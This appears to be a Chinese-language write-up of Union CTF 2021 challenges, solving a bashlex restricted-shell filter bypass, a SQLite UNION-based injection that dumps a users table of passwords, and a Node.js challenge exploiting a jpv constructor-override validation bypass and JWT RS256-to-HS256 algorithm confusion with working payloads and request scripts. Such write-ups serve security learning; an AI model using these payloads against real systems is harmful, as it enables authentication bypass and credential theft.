Union CTF 2021

Misc

👑 Welcome 👑

Rules 里面可以找到 flag。

union{r0p_s4v3_the_que3n}

bashlex

We made a new restricted shell with fancy AST validation, and we don't allow cat!

The flag is in /home/bashlex/flag.txt.

给出的代码如下。

#!/usr/bin/env python3

import bashlex
import os
import subprocess
import sys

ALLOWED_COMMANDS = ['ls', 'pwd', 'id', 'exit']

def validate(ast):
    queue = [ast]
    while queue:
        node = queue.pop(0)
        if node.kind == 'command':
            first_child = node.parts[0]
            if first_child.kind == 'word':
                if first_child.parts:
                    print(f'Forbidden top level command')
                    return False
                elif first_child.word.startswith(('.', '/')):
                    print('Path components are forbidden')
                    return False
                elif first_child.word.isalpha() and \
                        first_child.word not in ALLOWED_COMMANDS:
                    print('Forbidden command')
                    return False
        elif node.kind == 'commandsubstitution':
            print('Command substitution is forbidden')
            return False
        elif node.kind == 'word':
            if [c for c in ['*', '?', '['] if c in node.word]:
                print('Wildcards are forbidden')
                return False
            elif 'flag' in node.word:
                print('flag is forbidden')
                return False

        # Add node children
        if hasattr(node, 'parts'):
            queue += node.parts
        elif hasattr(node, 'list'):
            # CompoundNode
            queue += node.list
    return True

while True:
    inp = input('> ')

    try:
        parts = bashlex.parse(inp)
        valid = True
        for p in parts:
            if not validate(p):
                valid = False
    except:
        print('ERROR')
        continue

    if not valid:
        print('INVALID')
        continue

    subprocess.call(['bash', '-c', inp])

首先看一下 bashlex 的抽取逻辑,以 ls 这条指令为例。

[CommandNode(parts=[WordNode(parts=[] pos=(0, 2) word='ls')] pos=(0, 2))]

CommandNode 里包括 WordNode,每个 Node 包括 pos 和 parts。所以此时的规则大概是指令中不能含有变量、不能以路径开头、如果是纯字母的指令则不允许白名单以外的指令。同时不可以使用 bash 的指令替代(但是这点有点迷惑)。所以只需要找到一个非纯字母组成的指令即可。这里因为是 python 的环境。于是有 python3 的指令可以被成功执行。由于没有回显,所以尝试开个 http 服务。

python3 -m http.server 2333

此时访问到这里可得 flag。

union{chomsky_go_lllllllll1}

看到大佬的一种解法是用的指令替代,但是要使用双数反引号去替代。

>`ls`
[CommandNode(parts=[WordNode(parts=[CommandsubstitutionNode(command=CommandNode(parts=[WordNode(parts=[] pos=(1, 3) word='ls')] pos=(1, 3)) pos=(0, 4))] pos=(0, 4) word='`ls`')] pos=(0, 4))] #此时因为被 bashlex 正确解析无法通过检测
>``ls``
[CommandNode(parts=[WordNode(parts=[] pos=(0, 6) word='``ls``')] pos=(0, 6))] #此时解析出来只有一个 WordNode,可以正常执行

Web

Meet the Union Committee

A committee was formed last year to decide the highly-sensitive contents of our challenges. All we could find is their profiles on this website. They are super paranoid that their profile site is hackable and decided to implement insane rate limits. Really we need to get access to the admin's password. If only that was possible.

随便点进一个人的主页可以发现 URL 多了个 GET 参数 id。尝试下发现存在 SQL 注入,且可以发现如下报错。

Traceback (most recent call last):
  File "unionflaggenerator.py", line 49, in do_GET
    cursor.execute("SELECT id, name, email FROM users WHERE id=" + params["id"])
sqlite3.OperationalError: near "‘": syntax error

可以发现数据库采用的是 sqlite3。尝试构造语句读取 sqlite_master 里的 sql 以得出数据库中表的结构。

?id=0%20union%20select%201,group_concat(sql),3%20from%20sqlite_master--+

可以得到如下回显。

CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, email TEXT, password TEXT),CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)

于是根据题目描述,尝试读取表中的密码字段,即 users 表下的 password。

?id=0%20union%20select%201,group_concat(password),3%20from%20users--+

得到如下回显。

union{uni0n_4ll_s3l3ct_n0t_4_n00b},RightBehindU,diamond69_hands420,winter2020,peter1,password,ilikesex
union{uni0n_4ll_s3l3ct_n0t_4_n00b}

Cr0wnAir

Cr0wn is getting into the airline business to make some sweet profits when everyone is able to travel again. Can you upgrade your trip?

题目附件: https://1drv.ms/u/s!Aqe9Z34waQq1kx1op6yCo_i43ijL?e=VmOaeh

附件下载下来,可以发现是 nodejs 的项目。首先看一下项目的 package.json。

{
    "name": "cr0wnAir",
    "version": "1.0.0",
    "description": "",
    "main": "app.js",
    "scripts": {
        "start": "node app.js",
        "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "hyperreality",
    "dependencies": {
        "express": "4.17.1",
        "jpv": "2.0.1",
        "jwt-simple": "0.5.2"
    }
}

使用 npm audit 可以发现报出的一个 jwt-simple 的高危漏洞,根据描述,它允许我们使用 HS256 算法的 token 去代替 RS256 算法的 token 成功解码。同时可以发现 jpv 使用的是蛮老的包。在 Synk 可以查到这个版本的一个高危漏洞。定位到 Issue 可以发现相关的 PoC 作用于 jpv.validate 方法上。写一段代码复现这个漏洞。

var jpv = require("jpv")
var inputA = {
    a: {"nothing": "test", "constructor": {"name": "Lemon"}}
}
var inputB = {
    a: {"nothing": "test", "constructor": {"name": "Array"}}
}
var pattern = {
    a: []
}
console.log(jpv.validate(inputA, pattern))
console.log(jpv.validate(inputB, pattern))

得到的结果如下图。

这说明我们构造的输入覆盖了 constructor 最终影响到了 jpv 的判断。接下来具体看看附件给的代码。

在 checkin.js 的第 45 行可以发现如下内容。

var response = {msg: "You have successfully checked in. Thank you for being a Cr0wnAir frequent flyer. Your loyalty has been rewarded and you have been marked for an upgrade, please visit the upgrades portal.", "token": token};

26 行处可以找到这题 JWT 的加密方式 RS256。如果需要伪造 JWT 则必须想办法先拿到 key。这里可以使用 rsa_sig2n 通过 token 去算出 key,因此至少要拿到两个可用的 token。

return jwt.encode(body, config.privkey, 'RS256');

37 行处可以发现它使用到了上述高危漏洞所影响的方法,首先将这一部分判断的代码摘出来。

if (jpv.validate(data, pattern, { debug: true, mode: "strict" })) {
    if (data["firstName"] == "Tony" && data["lastName"] == "Abbott") {
      var response = {msg: "You have successfully checked in! Please remember not to post your boarding pass on social media."};
    } else if (data["ffp"]) {
      var response = {msg: "You have successfully checked in. Thank you for being a Cr0wnAir frequent flyer."};
      for(e in data["extras"]) {
        if (data["extras"][e]["sssr"] && data["extras"][e]["sssr"] === "FQTU") {
          var token = createToken(data["passport"], data["ffp"]);
          var response = {msg: "You have successfully checked in. Thank you for being a Cr0wnAir frequent flyer. Your loyalty has been rewarded and you have been marked for an upgrade, please visit the upgrades portal.", "token": token};
        }
      }
    } else {
      var response = {msg: "You have successfully checked in!"};
    }
  } else {
    var response = {msg: "Invalid checkin data provided, please try again."};
  }

可以发现在达成部分条件后可以拿到可用的 token。但是与此同时,这个条件是看似不可达的,因为有如下的验证机制。

const pattern = {
  firstName: /^\w{1,30}$/,
  lastName: /^\w{1,30}$/,
  passport: /^[0-9]{9}$/,
  ffp: /^(|CA[0-9]{8})$/,
  extras: [
    {sssr: /^(BULK|UMNR|VGML)$/},
  ],
};

可以发现此时的 FQTU 是不可能符合这个 pattern 的字符串。此时就需要使用上面的漏洞来构造 payload。通过观察可知这里的 extras 是一个数组,先按照原有结构构造一下。

var data = {
    firstName: "Lemon",
    lastName: "Lemon",
    passport: "123456789",
    ffp: "CA12345678",
    extras: [
        {"sssr": "FQTU"}
    ]
}

此时它是没法通过检查的,但是当它变成如下的样子,就可以通过这个检查了。

var data = {
    firstName: "Lemon",
    lastName: "Lemon",
    passport: "123456789",
    ffp: "CA12345678",
    extras: {
        "e": {"sssr": "FQTU"}, 
        "constructor": {"name": "Array"}
    }
}

此时构造的这个 payload 符合了判断中的所有条件,将其放到请求中发送出去可以得到有效的 token。这里写个脚本获取一下。

const axios = require("axios")

var data = {
    firstName: "Lemon",
    lastName: "Lemon",
    passport: "123456789",
    ffp: "CA12345678",
    extras: {
        "e": {"sssr": "FQTU"}, 
        "constructor": {"name": "Array"}
    }
}
axios.post("http://34.105.202.19:3000/checkin", data).then(res=>{
    console.log(res["data"]["token"])
})

更换一下可变的参数后请求两次可以得到如下两个有效的 token。

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTEyMzQ1Njc4In0.IQMSxgcZTmvVNJl51Xe71AtJI6vlINPb0GRy9GmxiLx6WsyFhSs-VXJh8G40TIYSD8LHfQGGxQVoK9Mnn8ImOz0Nv8BROkZ4fNiPEGXEIVaYNR2mzHc4_dARuciASyEdBapLrhlr7ln_EG6vKltB-KgsCfhJErVUOyvwfaZ0HdzJ6CQrS5-go33E7MpVe9LEsP7ySkbTdDxNsLmU64H2NqnWAxckQdEXlO2kMRWzsiCbvwOLY_hlEI2VwMuIqnFChI4McxBsCmel-mo7U6SEjfNyD7sEm3IglfGhW-RGsaR2xI4QuTsnjTRek51k2E-LC3W21AiWZ87jPbpwAXlCKg

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTEyMzQ1Njc2In0.B86GaaGsm7i1sbszIdebYCzleDwLO6CI3ZaM21wl4-dkN0wAOz8Y3U5r8ukwrA8SV0Mtm23wsTFzaem5BTUbxtw949IUdweaZHJ1IrV1oJKxtY5XrFmim9Od6UrAmG9MhArEG6FRGsXzHbJkcP3cnMWiKPvt71U26VYpYeuZ2dmhufKGh_sYycFN1BZWWsfTK9cbXAw8dMSSFUlrmFxedA-uUkKw-n3Bged_fBBLzeB55WYKa_bX99l1I5S7F4hh4GaU44_thXeQA7VmxNIvRFusKdg7z7zcf3MA981JB1Pjgb2jMQdS7ktMyrP6VhZrJMcQ2EWKv65MpzCj-fB-Ag

使用上面提到的 rsa_sig2n 工具可以得到如下公钥。

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw5lfZkrAzBjl2uf2bF4q
uWzPbmEzcsjVGwEePrj3tQh2gQWMw7HOvNNqVMWbuyK0VYWyk/EJ2IXkrV+R7yz1
ROFf2gMH6MRcdVakQF0MQJVRGOmwAIxi+Y7X3fo8HsjJVzzEk4Xy+nWTGS/FuNSW
+n0ch81nlZykurVcDKTS7zxPjOtkOswfypoqZyEJ8Uyn32VgWcZ1IK4CB1m9Za0j
DLU30ohyT3e3GUWT+qkUSiaHtMTViq8CxSMzlfFC1ASmAT1wGE+/rcUtTPvVKmh0
fTO2sqEsCQp2MGzKk8K1IhwdvuaXqgOFGIcBbaqMwKjpXIfTJSIb7rwEy/i3N9y8
CwIDAQAB
-----END PUBLIC KEY-----

至此成功拿到了题目编码 JWT 所用的公钥。继续审计代码,可以在 upgrades.js 下发现如下代码。

router.post('/flag', [getLoyaltyStatus], function(req, res, next) {
  if (res.locals.token && res.locals.token.status == "gold") {
    var response = {msg: config.flag };
  } else {
    var response = {msg: "You do not qualify for this upgrade at this time. Please fly with us more."};
  }
  res.json(response);
});

此时只需要伪造一段 JWT 使其 status 满足要求即可。这里使用旧版的包 pyjwt==0.4.3 去生成一个 HS256 算法的 token。

import jwt
key = open("c3995f664ac0cc18_65537_x509.pem").read()
token = jwt.encode({"status": "gold"}, key, "HS256")
print(token)

再用 axios 去请求,可得到 flag。

const axios = require("axios")

axios({
    method: "post",
    url: "http://34.105.202.19:3000/upgrades/flag",
    headers: {
        "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdGF0dXMiOiJnb2xkIn0.aMSl9yfOJoNV3Xzd0vZqhTRgxNrII_iXt6k5w6P1g3E"
    }}).then((res) => {
    console.log(res["data"])
})
union{I_<3_JS0N_4nD_th1ngs_wr4pp3d_in_JS0N}

results matching ""

    No results matching ""